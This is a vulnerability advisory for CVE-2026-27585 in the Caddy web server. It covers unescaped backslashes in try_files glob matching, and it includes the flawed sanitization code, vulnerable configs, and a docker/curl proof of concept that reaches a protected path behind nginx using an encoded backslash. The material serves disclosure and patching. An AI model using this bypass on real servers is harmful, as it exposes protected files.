CVE-2026-27585: Caddy: Improper sanitization of glob characters in file matcher may lead to bypassing security protections
Summary The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections. Details The tryfiles directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs.
Published Feb 24, 2026 · Updated Feb 27, 2026
Affected packages
github.com/caddyserver/caddy/v2
- Ecosystem
- Go
- Affected
- < 2.11.0
- Fixed in
- 2.11.1
- Check
go list -m github.com/caddyserver/caddy/v2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.
Details
The try_files directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html.
example.com {
root * /srv
encode
try_files {path} /index.html
file_server
}try_files patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with the request path and then is expanded by `fs.Glob`. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.
var globSafeRepl = strings.NewReplacer(
"*", "\\*",
"[", "\\[",
"?", "\\?",
)
expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {
if runtime.GOOS == "windows" {
return val, nil
}
switch v := val.(type) {
case string:
return globSafeRepl.Replace(v), nil
case fmt.Stringer:
return globSafeRepl.Replace(v.String()), nil
}
return val, nil
})The problem here is that it does not escape backslashes. /something-\*/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.
The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello* matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/* to the internal network and its upstream is a Caddy server that uses try_files, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.
Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the try_files directive and the filtering route/handle must not be in a same block because try_files directive executes before `route` and `handle` directives.
For example the following config isn't vulnerable.
:80 {
root * /srv
route /documents/* {
respond "Access denied" 403
}
try_files {path} /index.html
file_server
}But this one is vulnerable.
:80 {
root * /srv
route /documents/* {
respond "Access denied" 403
}
route /* {
try_files {path} /index.html
}
file_server
}This config is also vulnerable because Header directives executes before try_files.
:80 {
root * /srv
header /uploads/* {
X-Content-Type-Options "nosniff"
Content-Security-Policy "default-src 'none';"
}
try_files {path} /index.html
file_server
}PoC
Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.
#!/bin/bash
mkdir secret
echo 'some content' > secret/secret.txt
cat > Caddyfile <<'EOF'
:80 {
root * /srv
try_files {path} /index.html
file_server
}
EOF
cat > nginx.conf <<'EOF'
events {}
http {
server {
listen 80;
location /secret {
return 403;
}
location / {
proxy_pass http://caddy;
proxy_set_header Host $host;
}
}
}
EOF
cat > docker-compose.yml <<'EOF'
services:
caddy:
# caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb
image: caddy:latest
volumes:
- ./Caddyfile:/etc/caddy/Caddyfile:ro
- ./secret:/srv/secret:ro
nginx:
# nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208
image: nginx:latest
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
ports:
- "8000:80"
EOF
docker compose up -d
curl 'localhost:8000/secre%5ct/secret.txt'Impact
This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.
AI Usage
An LLM was used to polish this report.
Credited to parrot409.
References
- https://github.com/caddyserver/caddy/security/advisories/GHSA-4xrr-hq4w-6vf4
- https://nvd.nist.gov/vuln/detail/CVE-2026-27585
- https://caddyserver.com/docs/caddyfile/directives#directive-order
- https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361
- https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L398
- https://github.com/caddyserver/caddy/releases/tag/v2.11.1
- https://pkg.go.dev/vuln/GO-2026-4535
- https://github.com/advisories/GHSA-4xrr-hq4w-6vf4
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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